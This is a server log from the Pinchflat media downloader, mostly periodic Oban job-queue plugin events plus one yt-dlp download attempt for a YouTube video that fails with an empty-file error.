22:18:20.460 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:50.461 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.168 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:19:20.462 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:50.463 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.169 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:20:20.464 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:50.465 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.170 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:21:20.467 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:50.469 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.171 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:22:20.471 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:50.472 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.172 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:23:20.473 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:50.474 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.174 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:24:20.475 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:50.476 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.174 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:25:20.477 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:50.478 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.175 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:26:20.479 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:50.480 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.176 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:27:20.481 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:50.482 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.177 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:28:20.483 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:50.484 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.178 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:29:20.485 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:50.487 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.179 [info] {"source":"oban","duration":118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:30:20.488 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:50.489 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.180 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:31:18.260 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775010678260158128,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:31:18.260 [debug] QUERY OK source="media_items" db=0.1ms idle=736.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 22:31:18.260 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:31:18.261 [debug] QUERY OK source="sources" db=0.2ms idle=737.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:31:18.261 [debug] QUERY OK source="media_profiles" db=0.2ms idle=737.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:18.261 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 22:31:18.262 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 22:31:18.262 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:31:18.263 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:18.263 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:18.263 [debug] Running yt-dlp command for action: get_downloadable_status 22:31:18.263 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:18.264 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:18.264 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:18.264 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/02/9602c62dd2e6370dd11f11878d3246143f7bd84fdc08604073aa8a8f2387f974.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:20.490 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:21.873 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/96/02/9602c62dd2e6370dd11f11878d3246143f7bd84fdc08604073aa8a8f2387f974.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:31:21.873 [debug] Running yt-dlp command for action: download 22:31:21.873 [debug] QUERY OK source="settings" db=0.1ms idle=616.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:21.873 [debug] QUERY OK source="settings" db=0.0ms idle=350.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:21.874 [debug] QUERY OK source="settings" db=0.0ms idle=350.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:31:21.874 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b1/8b/b18b384a531598e952ab595bcac03dc4c432ef0f60f8aae7e0017e0fff96f4bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:31:50.491 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.181 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:32:20.493 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:50.494 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.182 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:33:20.495 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:50.497 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.183 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:34:20.498 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:50.499 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.184 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:35:20.500 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:50.502 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.186 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:36:20.504 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:21.819 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b1/8b/b18b384a531598e952ab595bcac03dc4c432ef0f60f8aae7e0017e0fff96f4bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 22:36:21.819 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 22:36:21.819 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":303559245,"event":"job:exception","queue_time":30081,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:36:50.505 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.186 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:37:20.506 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:50.507 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.187 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:38:20.508 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:50.509 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.188 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:39:20.510 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:50.511 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.189 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:40:20.512 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:43.579 [debug] Tzdata polling for update. 22:40:43.727 [debug] Tzdata polling shows the loaded tz database is up to date. 22:40:50.513 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.190 [info] {"source":"oban","duration":160,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:41:20.514 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:50.516 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.191 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:42:20.517 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:50.518 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.192 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:43:20.519 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:50.521 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.193 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:44:20.523 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:50.525 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.194 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:45:20.526 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:50.527 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.195 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:46:20.528 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:50.529 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.196 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:47:20.530 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:50.532 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.197 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:48:20.533 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:50.534 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.198 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:49:20.536 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:50.538 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.199 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:50:20.539 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:50.540 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.200 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:51:20.541 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:50.542 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.201 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:52:20.543 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:50.544 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.202 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:53:20.545 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:50.546 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.203 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:54:20.548 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:50.549 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.204 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:55:20.550 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:50.552 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.205 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:56:20.553 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:50.554 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.206 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:57:20.556 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:50.557 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.207 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:58:20.558 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:50.559 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.208 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:59:20.560 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:50.561 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.209 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:00:20.563 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:50.564 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.210 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:01:20.565 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:50.566 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.211 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:02:20.568 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:50.569 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.212 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:03:20.570 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:50.571 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.213 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:04:20.572 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:50.573 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.214 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:05:20.574 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:50.575 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.215 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:06:20.576 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:50.577 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.216 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:07:20.578 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:50.579 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.217 [info] 